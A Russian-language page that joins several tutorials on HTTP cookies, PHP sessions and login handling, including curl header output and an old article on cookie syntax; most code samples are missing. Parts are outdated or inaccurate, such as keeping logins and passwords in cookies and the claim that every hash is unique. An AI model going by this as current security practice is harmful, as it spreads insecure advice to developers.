В какой части запроса правильнее передавать cookie

В какой части запроса правильнее передавать cookie

Аутентификация пользователя на сайте. Сессии и куки

Как вы узнали из прошлой главы, работа с веб-сайтами в интернете происходит по протоколу HTTP.
Это замечательный и простой протокол, который действует по схеме «запрос-ответ». То есть клиент (браузер) пользователя посылает на сервер запрос, состоящий, как правило, только из заголовков, а затем получает ответ в виде заголовков ответа и тела самого документа.
В отличие от многих других протоколов, HTTP не сохраняет своего состояния. Это означает отсутствие сохранения промежуточного состояния между парами «запрос-ответ».
Иными словами, сервер не «запоминает» клиентов; каждый запрос он обрабатывает с «чистого листа».

Для сервера нет никакой разницы: запросил один пользователь страницу десять раз или десять разных пользователей по разу. Для него все запросы одинаковые.

Чем это неудобно для нас?
Часто сайты должны уметь идентифицировать своих посетителей, чтобы сохранять и показывать им позже какую-либо информацию.
Например, интернет-магазины могут сохранять историю просмотров, чтобы рекомендовать потенциальным покупателям наиболее подходящие им товары. Или агрегатор новостей мог бы предложить пользователям выбирать только интересующие их рубрики.

К счастью, протокол HTTP, а также все браузеры предоставляют возможность сохранения информации о пользователе.

Cookies

Cookies (в дальнейшем просто «куки») — небольшие фрагменты данных, которые веб-сервер отправляет браузеру.
Браузер сохраняет их у себя, а при следующем посещении веб-страницы отправляет обратно. Благодаря этому, веб-сервер сможет узнать своего «старого» посетителя, идентифицировать его.

С технической стороны, куки — это обычные HTTP заголовки.
Когда веб-сервер хочет записать куку в браузер пользователя, он отсылает специальный заголовок ответа с названием Set-Cookie . В этом заголовке должна содержаться необходимая информация и дополнительные аттрибуты, о которых пойдёт речь далее.
В следующий раз, когда браузер пользователя запросит веб-страницу с того же сайта, в числе прочих заголовков он передаст заголовок запроса Cookie . Веб-сервер получит эту информацию, и она будет доступна также и для PHP.

Пример

Задача очень проста: сохранять и показывать посетителю страницы, сколько раз он посетил наш сайт. Для этого будем сохранять количество посещений в отдельной куке, увеличивая значения на единицу при каждой загрузке страницы.

Как установить куки: функция setcookie

Являясь серверным языком программирования, PHP может управлять заголовками, которые отправляет сервер, а значит может устанавливать и читать куки.
Чтобы добавить новую куку, необходимо вначале определиться со следующими критериями:

• Название этой куки (может состоять только из символов латинского алфавита и цифр);
• Значение, которое предполагается хранить;
• Срок жизни куки — это обязательное условие.

За установку куки в PHP отвечает функция setcookie , ей нужно передать как минимум три параметра, описанных выше. Пример:

Обратите внимание, что срок жизни указывается в относительной величине. В этом примере кука будет существовать ровно 30 дней с момента установки.

Как прочитать куки

В PHP максимально упрощён процесс чтения информации из кукисов. Все переданные сервером куки становятся автоматически доступны в специальном глобальном массиве $_COOKIE
Так, чтобы получить содержимое куки с именем «visit_count», достаточно обратиться к одноимённому элементу массива $_COOKIE , например вот так:

Обратите внимание: установив в сценарии куку через setcookie , прочитать её можно будет только при следующем посещении страницы.

Собираем всё вместе

Теперь, научившись устанавливать и читать куки, напишем полноценный сценарий, который будет считать и выводить количество посещений страницы пользователем:

Сессии

Мы уже умеем сохранять информацию для пользователя между посещениями страницы с помощью кук. Но зачем же нам ещё сессии, и для чего они нужны?
Сессии, они же сеансы, это, по сути, просто удобная обёртка над куками. Они также позволяют хранить данные, релевантные пользователю, но с некоторыми отличиями и ограничениями:

• Данные хранятся не произвольное время, а только до закрытия вкладки с веб-страницей.
• Чтобы сессии работали, в начале каждого сценария надо вызывать функцию session_start() .
• Доступный объём для хранения информации намного больше.

Запись и чтение информации при использовании сессий выглядит просто как работа со специальным массивом $_SESSION .

Как устроены сессии

1. PHP генерирует уникальный идентификатор браузера.
2. Идентификатор сохраняется в специальную куку и передаётся с каждым запросом.
3. Все данные, которые записываются в сессию, PHP автоматически сохраняет в специальном файле на сервере.

Благодаря существованию сессий в PHP, мы можем сохранять любые данные так же просто, как присваивать их переменным. Но, в отличие от переменных, эти данные будут сохраняться для пользователя между запросами в пределах сеанса.

Перепишем сценарий для подсчета посещений, но теперь используем сессии:

Аутентификация

Представим интернет-магазин. Все его страницы можно разделить на две половины: публичные и приватные.
К публичным относятся страницы каталога, информации о товаре, условия доставки и так далее. К приватным — корзина покупок, история заказов.
Совершенно очевидно, что корзина покупок у каждого покупателя должна быть своя, а иметь к ней доступ должен только сам владелец и никто больше.

Процедура проверки возможности доступа пользователя к определенной части сайта и называется аутентификацией.
Весь процесс аутентификации всегда состоит из нескольких шагов:

1. При попытке доступа к закрытой части сайта, пользователь видит форму, где он должен ввести свой логин и пароль.
2. Форма отправляется, а полученные данные сравниваются с действительным логином и паролем существующего пользователя.
3. Если данные совпадают, то пользователь считается аутентифицированным и получает доступ к приватной части сайта.
4. При повторном открытии этой страницы пользователь не должен повторно вводить пароль, если он уже делал это в рамках текущего сеанса.

Ещё немного терминологии

Следует различать два термина: аутентификация и авторизация.

Аутентификация — проверка подлинности предоставленного пользователем идентификатора (пара логин-пароль).
Авторизация — процесс проверки и предоставления прав пользователю на выполнение определённого действия.

В примере с интернет-магазином аутентификация выполняется, когда пользователь заполняет форму входа и попадает в свой личный кабинет. Сценарий, обрабатывающий форму, лишь проверяет, что такой пользователь существует, и его пароль совпадает.
Авторизация включается в работу, когда пользователь выполняет какое-нибудь действие. Например, удаляет товар из своей корзины. Во время этого действия сценарий должен проверить принадлежность товара к корзине этого пользователя. Без такой проверки пользователь мог бы удалить товар из чужой корзины.

Логика авторизации намного сложнее, чем простая проверка совпадения почты и пароля при входе на сайт. В авторизацию могут также входить следующие понятия: группы пользователей, виды действий, ресурсы, иерархия ролей и действий. Этой теме можно посвятить отдельную главу. Мы не рассматриваем авторизацию в рамках этого учебника, потому что эта тема выходит за рамки «базовой».

Регистрация на сайте

Перед тем, как мы начнем добавлять аутентификацию на своем сайте, придётся добавить форму для регистрации нового аккаунта.
Аккаунт — это учётная запись пользователя.
Чтобы завести аккаунт, требуется пройти регистрацию — это заполнение специальной формы, где пользователь указывает свою почту, пароль, и, возможно, дополнительную информацию.
После регистрации все данные из формы сохраняются в базе данных как есть. Но хранению паролей нужно уделить особое внимание.

Хранение паролей

Пароль пользователя — это секретный набор символов, который используется в дальнейшем в ходе аутентификации. Зная пароль пользователя, злоумышленник может войти на сайт под его именем. По этой причине пароль нельзя хранить в базе в открытом виде. Ведь если информацию из БД сайта украдут, то данные всех пользователей станут скомпрометированными.
Вместо самого пароля, в базе будут храниться их отпечатки — хэши.

Что такое хеширование

Отпечаток (хэш) — это результат работы функции хэширования, которая вернёт для любого значения строку фиксированной длины.
Используя специальный математический алгоритм, такая функция умеет преобразовывать любую переданную информацию к строке фиксированной длины (например, 32 или 64 символа). Причём любому массиву информации, будь это все статьи из Википедии, или одно слово, всегда будет соответствовать уникальный отпечаток. Повторный вызов функции для одного и того же исходника всегда возвращает один и тот же хэш.
Обратная операция (получить из отпечатка оригинал) невозможна.

Возьмём простой пример. У нас есть информация, для которой мы хотим получить отпечаток. Пусть такой информацией будет следующая строка:

Результат обработки этой строки хэширующей функцией SHA-1 будет таким:
6b3cb0df50fe814dee886b4e1c747dda6ce88b37

Хэширующие функции часто используются для контроля целостности информации при передачи по сети. Например, чтобы убедиться в том, что загруженный файл не был повреждён, достаточно получить его хэш и сравнить данный хэш с опубликованным на сайте. Если в файле поменялся хоть один байт, то эти отпечатки будут совершенно разными.
Нам же функции хэширования помогут для сравнения паролей.

Реализация регистрации пользователя

Вернёмся к форме регистрации.
Выше говорилось, что вместо пароля лучше хранить его отпечаток. Для получения отпечатка существуют множество хэшируюших функций. К счастью, нам не надо разбираться в их многообразии, потому что в PHP есть стандартная функция, которая делает ровно то, что нужно.
Вот пример как из пароля получить отпечаток, пригодный для хранения в базе:

Вызов этой функции вернёт следующую строку: $2y$10$a1pgDBerBsqD24D7qOAsl.QFTvwxQQGe4r1oWhD7f9yEnDvx4i7tW
Именно это значение и следует хранить в БД, вместо пароля.

Проверка пароля при входе на сайт

После регистрации у пользователя появляется свой аккаунт на сайте, и он может его использовать. Это значит, что теперь потребуется сделать форму входа. Форма будет проверять правильность введённого логина и пароля, чтобы дать пользователю доступ к закрытым частям сайта.
Вначале мы ищем в таблице с пользователями запись с E-mail, равным полученному из формы. Если такая запись существует, то следующий шаг — это проверить корректность пароля.
Для сравнения пароля с его хэшом существует функция password_verify . Ей передаётся пароль и хэш, с которым надо сравнить данный пароль. Функция вернет true или false в зависимости от результата сравнения:

Использование сессии для контроля доступа

Сессии чаще всего используются для хранения информации о залогиненном пользователе. Принцип работы здесь очень простой: внутри сценария, ответственного за обработку формы входа, открывается новая сессия, куда записывается информация о вошедшем пользователе. Такой информацией может быть ассоциативный массив со всеми значениями из соответствующей записи из БД.
Затем добавим код, проверяющий существование сессии в сценарии, которые должны быть закрыты от анонимных пользователей. Если сессия пуста, значит данный пользователь не выполнял вход на сайт, и доступа к данной странице он не имеет.
В этом случае можно вернуть код ответа 403 и показать сообщение об ошибке, либо принудительно выполнить переадресацию на главную страницу.

Выход с сайта

Если на сайте есть вход, то должен быть и выход. Таким выходом будет специальный сценарий, который очистит сессию и переадресует на главную страницу.
Чтобы очистить сессию, достаточно очистить массив $_SESSION :
$_SESSION = []

Похожие публикации:

1. Xwiki что это
2. Your system has not been modified как исправить
3. Zeptolab что это
4. Авз что это в бухгалтерии

Cookies — Протокол HTTP

Изначально работать с HTTP было не очень просто. Дело в том, что это протокол без сохранения состояния, то есть каждый запрос-ответ не связан с предыдущим запросом-ответом. Это было неудобно, потому что иногда нам приходится запоминать информацию: например об аутентификации пользователя или о товарах в его корзине в интернет-магазине.

Тут возникает проблема: «Как запомнить, что это тот пользователь, с которым мы только что работали?». Решение этой проблемы было найдено когда был придуман механизм, который называется Cookie.

В этом уроке мы разберемся, что такое куки и как они работают.

Как работают куки

Давайте сделаем запрос к сайту Хекслета и посмотрим, как этот механизм работает. Мы будем использовать программу curl . Она позволяет делать HTTP-запросы и управлять различными их параметрами с помощью флагов. При работе с curl нам не нужно заранее устанавливать соединение и потом набирать сырой запрос. Достаточно сразу определить параметры, и curl сама отправит все нужные заголовки запроса, в том числе и по HTTPS.

Давайте выполним запрос для получения только заголовков, для этого добавим к запуску curl флаг —head:

--head https://ru.hexlet.io HTTP/2 200 server: nginx/1.19.1 date: Thu, 16 Jul 2020 03:38:11 GMT content-type: text/html; charset=utf-8 vary: Accept-Encoding x-xss-protection: 1; mode=block x-content-type-options: nosniff x-download-options: noopen x-permitted-cross-domain-policies: none referrer-policy: strict-origin-when-cross-origin strict-transport-security: max-age=0 x-frame-options: ALLOW-FROM http://webvisor.com etag: W/"eb99fa0d6ee702b85ba2a5e9b0425aea" cache-control: max-age=0, private, must-revalidate content-security-policy: set-cookie: _hexlet_session2=AiUPd6RFbcrnoGnZSLAYSBzdJqxsQ4sTc%2BW0xXuOKzlenyv5GwkkbpdkD6IVDybDlD8vQcOcgGax98%2FmzIBJrz9f%2BDIJxWRpknZsRSfBXuC9yRfndovBUG6w4fTql4qp7zPozd2veFDLOU4koPVYiUQxgBLM6NkyYg%2Bhs%2BQe%2FSZezleVgMBVD%2FFC070DjV7t2eN01o26kcbd0pQsf9k1LE4JN0aDzSxu8elxLyAWkIJ5l3m%2BcI%2BpgOxk87Uwh9WdTHVuDaraiRaVJz1aZq5hr%2FgzaZiK%2Bgi6ChX60nhha1an610b1v3EE7xgkEM332uFPU0w675fHEr4APTdPDVtJRa3--qQi0cqcljC8i4klD--fXTErw9bhX7%2Fd1xfPE4Gww%3D%3D; domain=.hexlet.io; path=/; expires=Sun, 16 Aug 2020 03:38:11 GMT; secure; HttpOnly; SameSite=Lax set-cookie: GCLB=CLTE8bzdlaS6Zg; path=/; HttpOnly; expires=Thu, 16-Jul-2020 03:39:50 GMT x-request-id: 2f554de2-a21d-4e7d-964e-085914ac3f77 x-runtime: 0.056974 access-control-allow-origin: * via: 1.1 google alt-svc: clear 

Мы видим два заголовка, которые занимаются установкой cookie — set-cookie. Обратите внимание, что каждая cookie посылается в отдельном заголовке. Таких заголовков может быть достаточно много.

Изнутри кука представляет собой пару ключ=значение и отделяется от дополнительных параметров точкой с запятой. Куки сохраняются в браузере на клиенте и при следующем запросе он отправляет их обратно на сервер. Непосредственно в браузере они никак не используются.

Хорошая аналогия — это как получить номерок в гардеробе и потом вернуть его, чтобы понять какая куртка ваша. При этом сам номерок никакой ценности не представляет, и его нельзя использовать самостоятельно.

Куки делятся как минимум на два типа: сессионные и постоянные.

Сессионные куки

Сессионные куки в нашем запросе не устанавливаются, так как мы видим дополнительные параметры в заголовке set-cookie. Если бы их не было, то кука называлась бы сессионной. Основное их отличие от постоянных в том, что такая кука удаляется при закрытии браузера. Наглядный пример — это механизм работы галочки «запомнить меня». Если вы авторизуетесь и не отметите эту галочку, а потом закроете браузер и снова зайдете на сайт, то будете не авторизованы. Так происходит потому, что используется сессионная кука.

Постоянные куки

Вернемся к запросу выше. В этом случае устанавливаются постоянные куки. Они сохраняются на жестком диске — место их хранения может быть разным в зависимости от браузера. Такие куки отличаются от сессионных тем, что можно управлять длиной их жизни при помощи параметра expires:

expires=Thu, 16-Jul-2020 03:39:50 GMT; 

В параметре expires указывается дата удаления куки, после которой она не будет отсылаться на сервер. Стоит сказать, что есть еще один параметр, который используется для тех же целей — MAX-AGE. В его значении указывается количество секунд, по истечении которых кука будет удалена:

=2592000; 

Так как часть браузеров не поддерживают MAX-AGE, некоторые фреймворки часто устанавливают сразу оба параметра и браузеры просто игнорируют тот, который им не нужен. Таким образом заголовок set-cookie, который содержит два параметра MAX-AGE и expires, считается валидным. В стандарте также говорится, что регистр имени куки не имеет значения.

Параметры domain и path

Также можно установить еще несколько параметров. Параметры domain и path задают область видимости куки — это URL, на которые кука может отправляться. Если они не заданы, то по умолчанию кука будет пересылаться на сервер только для текущего пути и домена. В нашем примере в path указан корень сайта, то есть кука будет отправляться для всех страниц:

domain=.hexlet.io; path=/; 

Обратите внимание на одну важную деталь в этом примере. Если установлен domain=.hexlet.io, то кука будет работать не только для всех страниц сайта, но и для всех поддоменов — при этом наличие точки перед именем домена не имеет значения. Если мы совсем не установим параметр domain, то кука для поддоменов работать не будет, хотя по умолчанию значение домена будет hexlet.io.

Уникальность куки определяется тремя параметрами key (имя куки), domain и path. Это значит, что если какую-то куку нужно переустановить, то при следующем запросе в set-cookie эти параметры должны совпадать. Если хотя бы один из них отличается, то будет установлена новая кука.

Удаление куки

Заголовка для удаления куки не существует. Чтобы удалить ее, нужно установить нулевой или отрицательный MAX-AGE, либо задать expires в прошлом, тогда кука будет немедленно удалена.

HttpOnly cookie

Можно заметить, что в нашем примере установлен дополнительный параметр HttpOnly. HttpOnly-куки передаются с AJAX-запросами, но их нельзя получить через JavaScript на странице сайта. Это дополнительный уровень безопасности от XSS-атак.

Отправка на сервер

Мы обновляем страницу в браузере. После этого происходит отправка следующего заголовка:

GCLB=CLiC7uWajOOrzAE;_hexlet_session2=gu3n8MCidqZ28VfjpzJuF74d4ohla6uYq9Q%2B2XBcalsa3VUCzURBWTXvscuzSI%2BF3lnHAN%2FUt6IJnXgkH%2B6jDKgyStVb8W%2BLHwIbypoxajN3fB5ksFT3Qu28RvDQpL6hBmqq7V2eFdfLMGtkmtcpfAUYNGffwaBAlQyQKnvhkCpEf5IIWkwWfe9Nt8dG3lIueeir9fGxZP7Fpcw9IP9HfgSansgXugtFI1rw06UhgrrK%2BEnaf4EmIgVdH6KYpDBKXpUUXz8vFRvkOMX5j%2BZNMTu%2BKDBzmGlFjcm1mCZl4ozZWDCocFO4CTW7z9LmzKYbcEGkUEhRbOu%2BTvLgVo80LilK--x3y6jxx%2FjYcLp5tr--9nrQ0XmAhtGAuIFvMYvWig%3D%3D 

Открыть доступ

Курсы программирования для новичков и опытных разработчиков. Начните обучение бесплатно

• 130 курсов, 2000+ часов теории
• 1000 практических заданий в браузере
• 360 000 студентов

Наши выпускники работают в компаниях:

В какой части запроса правильнее передавать cookie

Откуда возник термин «cookie» никто достоверно не знает, хотя считается, что во времена зарождения Unix-систем где-то использовалось словосочетание Magic Cookies. Имелись в виду «квитанции» (token, ticket), которыми обменивались программы.

Cookie является решением одной из наследственных проблем HTTP протокола (HyperText Transfer Protocol). Эта проблема заключается в непостоянстве соединения между клиентом и сервером, как при FTP или Telnet сессии, т.е. для каждого документа (или файла) при передаче по HTTP протоколу посылается отдельный запрос. Включение cookie в HTTP протокол дало частичное решение этой проблемы. Иначе говоря, транзакция завершается после того, как браузер сделал запрос, а сервер выдал соответствующий ответ. Сразу после этого сервер «забывает» о пользователе и каждый следующий запрос того же пользователя считает новым пользователем.

Используя cookie, можно эмулировать сессию по HTTP протоколу. Коротко принцип эмуляции сессии таков: на первом запросе выдается соотвествующее значение cookie, а при каждом последующем запросе это значение читается из переменной окружения HTTP_COOKIE и соответствующим образом обрабатывается.

Простой пример: есть форма, где пользователю предлагается указать свое имя, из нее вызывается скрипт, прописывающий значение cookie в браузер пользователя. При каждом последующем заходе на основе анализа значения cookie из браузера пользователя на странице появляется либо именное приветствие (если есть установленное значение cookie), либо первоначальная форма с запросом имени пользователя (если значение cookie не установлено).

Cookie — это небольшая порция текстовой информации, которую сервер передает браузеру. Браузер будет хранить эту информацию и передавать ее серверу с каждым запросом как часть HTTP заголовка. Одни значения cookie могут храниться только в течение одной сессии, они удаляются после закрытия броузера. Другие, установленные на некоторый период времени, записываются в файл. Обычно этот файл называется ‘cookies.txt’ и лежит в рабочей директории установленного на компьютер браузера. У меня, к примеру, в этом файле содержится следующее:

# Netscape HTTP Cookie File # http://www.netscape.com/newsref/std/cookie_spec.html # This is a generated file! Do not edit. www.webclub.ru FALSE /ourweb FALSE 946683907 1 1 .bizlink.ru TRUE / FALSE 915148488 u_irads_watch 627633 .doubleclick.net TRUE / FALSE 1920499140 id 332666ae .yahoo.com TRUE / FALSE 915144943 Y v=1&n=6jm0u5lgubh1k&l=0b8a0d3h/o&p=m29vvru7130a .yahoo.com TRUE / FALSE 915144943 T z=3587c277 mail.yahoo.com TRUE / FALSE 943919791 YM.Login id%3d%241%24rm%24L6MDTCsrCNnk3syLZl2zo.%26sid%3dszxPh4SazGg/%250a%26ts%3dX%2588%25c3%2506%25d3%25e5I-%255d%253f%2597%25ddu .preferences.com TRUE / FALSE 1182140165 PreferencesID 3AGN9WD1D80gQfjvjAxRuq .geocities.com TRUE / FALSE 900743217 iTag gY6bZzWItDQAAWll3T8ASk1vbiwgMTMg search.netscape.com FALSE / FALSE 942189477 NGUserID cfc84d2a-522-898178454-1 www.webclub.ru FALSE FALSE 913543999 visited yes

Как видно, у меня оставили cookie Российский клуб вебмастеров, поисковая система AltaVista, бесплатный почтовый сервер Yahoo, Netscape Communications, рекламные сети DoubleClick и отечественная InterReklama. В настоящее время большинство браузеров поддерживает механизм cookies. Я точно знаю, что cookie можно использовать во всех версиях Netscape Navigator, Microsoft Internet Explorer и NCSA Mosaic.

Что можно делать с помощью cookie?
Сами по себе cookies не могут делать ничего, это только лишь некоторая текстовая информация. Однако сервер может считывать содержащуюся в cookies информацию и на основании ее анализа совершать те или иные действия. Например, в случае авторизованного доступа к чему либо через WWW в cookies сохраняется login и password в течение сессии, что позволяет пользователю не вводить их снова при запросах каждого документа, защищенного паролем.

На использовании cookies также часто строят функции оформления заказов в онлайновых магазинах, в частности, в самом крупном виртуальном книжном магазине Amazon Books реализована своеобразная виртуальная корзина покупателя, как в обычном реальном супермаркете, в которую сервер записывает информацию обо всех заказанных книгах. Пользователь просто помечает интересующие его книги, а затем оформляет покупку сразу всех отмеченных книг.

Еще одна распространенная область использования cookies — при настройке индивидуального профиля каждого зарегистрированного пользователя.

И, наконец, самая последняя область — использование механизма cookie в рекламном бизнесе на Интернет. Еще год назад реклама в Интернет за деньги была довольно экзотической услугой, а сейчас этот бизнес уже устоялся и стремительно развивается. Однако рекламодатели начинают предъявлять более жесткие условия к оценке эффективности своих расходов. Cookie используются для таргетинга рекламы (определения целевой аудитории, например, по географическому положению пользователей), отслеживания интересов пользователей, учета количества показов и проходов сквозь баннеры.

Работа с cookie
Теперь, когда с принципами действия и областями применения cookie все более или менее понятно, можно приступить к изучению формата и синтаксиса, а также способов задания значений cookie.

Формат и синтаксис cookie
Предлагаемое мной в этой статье описание формата и синтаксиса cookie является вольным пересказом изначальной спецификации Netscape Communications «Persistent Client State HTTP Cookies». В настоящий момент идет разработка более строгой спецификации для cookie. Итак, cookie является частью HTTP заголовка. Полное описание поля Set-Cookie HTTP заголовка:

Set-Cookie: NAME=VALUE; expires=DATE; path=PATH; domain=DOMAIN_NAME; secure

Минимальное описание поля Set-Cookie HTTP заголовка:

Set-Cookie: NAME=VALUE;

NAME=VALUE — строка символов, исключая перевод строки, запятые и пробелы. NAME-имя cookie, VALUE — значение. Не допускается использование двоеточия, запятой и пробела.

expires=DATE — время хранения cookie, т.е. вместо DATE должна стоять дата в формате «expires=Monday, DD-Mon-YYYY HH:MM:SS GMT», после которой истекает время хранения cookie. Если этот атрибут не указан, то cookie хранится в течение одного сеанса, до закрытия броузера.

domain=DOMAIN_NAME — домен, для которого значение cookie действительно. Например, «domain=cit-forum.com». В этом случае значение cookie будет действительно и для домена cit-forum.com, и для www.cit-forum.com. Но не радуйтесь, указания двух последних периодов доменных имен хватает только для доменов иерархии «COM», «EDU», «NET», «ORG», «GOV», «MIL» и «INT». Для обсуждаемых сейчас новых семи доменов первого уровня («FIRM», «SHOP», «WEB», «ARTS», «REC», «INFO», «NOM»), вероятно, это условие сохранится. Для доменов иерархии «RU», например, придется указывать три периода.

Если этот атрибут опущен, то по умолчанию используется доменное имя сервера, на котором было задано значение cookie.

path=PATH — этот атрибут устанавливает подмножество документов, для которых действительно значение cookie. Например, указание «path=/win» приведет к тому, что значение cookie будет действительно для множества документов в директории /win/, в директории /wings/ и файлов в текущей директории с именами типа wind.html и windows.shtml. Для того, чтобы cookie отсылались при каждом запросе к серверу, необходимо указать корневой каталог сервера, например, «path=/».

Если этот атрибут не указан, то значение cookie распространяется только на документы в той же директории, что и документ, в котором было установлено значение cookie.

secure — если стоит этот маркер, то информация cookie пересылается только через HTTPS (HTTP с использованием SSL — Secure Socket Level), в защищенном режиме. Если этот маркер не указан, то информация пересылается обычным способом.

Синтаксис HTTP заголовка для поля Cookie
Когда запрашивается документ с HTTP сервера, браузер проверяет свои cookie на предмет соответствия домену сервера и прочей информации. В случае, если найдены удовлетворяющие всем условиям значения cookie, броузер посылает их в серверу в виде пары имя/значение:

Cookie: NAME1=OPAQUE_STRING1; NAME2=OPAQUE_STRING2 .

Дополнительные сведения
Одновременно можно задавать несколько значений cookie.

В случае, если cookie принимает новое значение при имеющемся уже в браузере cookie с совпадающими параметрами NAME, domain и path, то старое значение заменяется новым. В остальных случаях новые значения cookie добавляются к старым.

Использование expires не гарантирует сохранность cookie в течение заданного периода времени, поскольку клиент (браузер) может удалить запись из-за нехватки выделенного места или каких-либо других причин.

• всего может храниться до 300 значений cookies
• каждый cookie не может превышать 4Кбайт
• с одного сервера или домена может храниться до 20 значений cookie

Если ограничение 300 или 20 превышается, то удаляется первая по времени запись. При превышении лимита объема в 4Кбайт корректность значения cookie страдает — отрезается кусок записи (с начала этой записи) равный превышению объема.

В случае кэширования документов, например, proxy-сервером, поле Set-cookie HTTP заголовка никогда не кэшируется.

Если proxy-сервер принимает ответ, содержащий поле Set-cookie в заголовке, предполагается, что поле доходит до клиента вне зависимости от кода возврата 304 (Not Modified) или 200 (OK). Соответственно, если клиентский запрос содержит в заголовке Cookie, то он должен дойти до сервера, даже если жестко установлен параметр If-modified-since.

Ниже приведено несколько примеров, иллюстрирующих использование cookies

Пример 1. Управление подмножеством документов, для которых действительны значения cookie, и их сроком годности
Браузер запрашивает документ и принимает от сервера в ответ:

Set-Cookie: CUSTOMER=WILE_E_COYOTE; path=/; expires=Wednesday, 09-Nov-99 23:12:40 GMT

Когда браузер запрашивает URL с путем «/» на этом сервере, он посылает серверу:

Cookie: CUSTOMER=WILE_E_COYOTE

Браузер запрашивает документ и принимает от сервера в ответ:

Set-Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001; path=/

Когда браузер запрашивает URL с путем «/» на этом сервере, он посылает серверу уже два значения cookie:

Cookie: CUSTOMER=WILE_E_COYOTE; PART_NUMBER=ROCKET_LAUNCHER_0001

Сервер установил еще одно значение cookie, на этот раз с другой областью действия:

Set-Cookie: SHIPPING=FEDEX; path=/foo

Теперь браузер, запрашивая URL с путем «/» на этом сервере, посылает лишь два значения cookie:

Cookie: CUSTOMER=WILE_E_COYOTE; PART_NUMBER=ROCKET_LAUNCHER_0001

и лишь при запросе браузером документов с путем «/foo» на этом сервере посылаются все три значения cookie:

Cookie: CUSTOMER=WILE_E_COYOTE; PART_NUMBER=ROCKET_LAUNCHER_0001; SHIPPING=FEDEX

Комментарий: после закрытия браузера в файле ‘cookies.txt’ останется только одно значение cookie:

CUSTOMER=WILE_E_COYOTE

поскольку только для него установлен срок годности — 9 ноября 1999 года. Все остальные значения не будут сохранены.

Пример 2. Значения cookie с одинаковыми именами, но разными параметрами
Браузер запрашивает документ и принимает ответ от сервера:

Set-Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001; path=/

Когда браузер запрашивает URL с путем «/» на этом сервере, он посылает значение:

Cookie: PART_NUMBER=ROCKET_LAUNCHER_0001

Во второй раз, запрашивая документ, браузер принимает от сервера значение cookie с другой областью действия:

Set-Cookie: PART_NUMBER=RIDING_ROCKET_0023; path=/ammo

Когда браузер запрашивает URL с путем «/ammo» на этом сервере, он посылает значение:

Cookie: PART_NUMBER=RIDING_ROCKET_0023; PART_NUMBER=ROCKET_LAUNCHER_0001

Комментарий: здесь мы имеем две пары имя/значение с одинаковым именем «PART_NUMBER». При закрытии браузера ни одно из этих значений не сохранится, поскольку не задан параметр expires.

Способы задания значений cookie
Способ задания значений cookie зависит того, как эти значения будут использоваться и какие имеются серверные ресурсы. Можно манипулировать временем жизни выставленных cookie и устанавливать подмножества URL (Universal Resource Locator), в которых заданные значения действительны. Есть несколько способов задания, наиболее часто используются три — через META-таги языка HTML, JavaScript и CGI-скрипты. Любым способом можно задавать как одно, так и несколько значений сразу. Сразу хочу предупредить — не забывайте об ограничениях по объему и количеству значений cookie, а также параметре domain, так как помимо основного доменного имени узла часто бывает несколько алиасов (alias).

1. Задание cookie с помощью META-тагов
Простейший способ выставить cookie — использовать соответствующий META-таг в контейнере . любого статического HTML документа. В общем случае это выглядит следующим образом:

Такой способ задания cookie, на мой взгляд, наиболее интересен для создателей маленьких домашних страничек, когда нет возможности писать свои собственные CGI-скрипты. А если есть поддержка SSI (Server Side Include) или PHP/Fi, то можно делать интерактивные страницы вообще без использования внешних CGI-скриптов. При наличии SSI на узле создание интерактивности с использованием механизма cookie становится просто удовольствием.

С помощью cookie задается на любой статичной странице, директивой можно потом считать любые переменные окружения, в том числе и ранее заданные значения cookie (переменная HTTP_COOKIE), а с помощью конструкций , и задавать различные варианты внешнего вида страниц. Так же просто можно проделывать подобные вещи, используя PHP/Fi.

Если же ни SSI, ни PHP/Fi недоступен, то можно задавать значение cookie, используя JavaScript.

2. Задание cookie с помощью JavaScript
Можно задавать значение cookie, используя язык JavaScript. Единственный недостаток этого способа заключается в том, что не все браузеры его поддерживают. Ниже приведены примеры функций JavaScript, написанные Алексеем Александровым для скрипта «Органайзер». Этот скрипт, по-моему, один из лучших образцов программирования на JavaScript с использованием cookie, поэтому я настоятельно рекомендую посмотреть на работающий образец по адресу http://www.citforum.ru/internet/javascript/exorg.shtml

Пример 3. Функция установки значения cookie

// name — имя cookie // value — значение cookie // [expires] — дата окончания действия cookie (по умолчанию — до конца сессии) // [path] — путь, для которого cookie действительно (по умолчанию — документ, в котором значение было установлено) // [domain] — домен, для которого cookie действительно (по умолчанию — домен, в котором значение было установлено) // [secure] — логическое значение, показывающее требуется ли защищенная передача значения cookie function setCookie(name, value, expires, path, domain, secure)

Пример 4. Функция чтения значения cookie
Возвращает установленное значение или пустую строку, если cookie не существует.

// name — имя считываемого cookie function getCookie(name)

Пример 5. Функция удаления значения cookie
Принцип работы этой функции заключается в том, что cookie устанавливается с заведомо устаревшим параметром expires, в данном случае 1 января 1970 года.

// name — имя cookie // [path] — путь, для которого cookie действительно // [domain] — домен, для которого cookie действительно function deleteCookie(name, path, domain)

Работающий пример персонализации пользователя, построенный на JavaScript и использующий механизм cookie.

3. Задание cookie с помощью CGI-скриптов
Самый мощный и гибкий способ управления документами с использованием механизма cookie — с помощью CGI-скриптов. Задание значения cookie на Perl будет выглядеть следующим образом:

print "Content-type: text/html\n"; print "Set-Cookie: username=aaa13; expires=Friday, 31-Dec-99 23:59:59 GMT; path=/; domain=www.citforum.ru;\n\n";

Скрипт при выдаче результатов работы генерирует HTTP заголовок:

Content-type: text/html Set-Cookie: "username=aaa13; expires=Friday, 31-Dec-99 23:59:59 GMT; path=/; domain=www.citforum.ru;"

Чтобы прочитать в скрипте ранее заданное значение cookie, используется переменная окружения HTTP_COOKIE.

$cookie = $ENV;

Далее можно анализировать полученную строку и, в зависимости от считанных значений, выполнять соответствующие действия.

Совсем недавно я написал систему рейтинга серверов для Российского Клуба Вебмастеров, которая использует механизм cookie для защиты от накрутки очков. В ней, задавая и анализируя значения cookie, я либо не допускаю пользователя до голосования (если отключены cookie в браузере или пользователь один раз уже проголосовал), либо разрешаю голосовать (если соответствующее значение не задано). Обмануть такую систему можно, только стирая каждый раз файл cookies.txt. Можно было бы использовать файл логов голосования на узле, но возникали бы проблемы разделения доступа к файлу и замедление работы вследствие использования медленных дисковых операций.

Немного о проблемах, связанных с использованием cookie
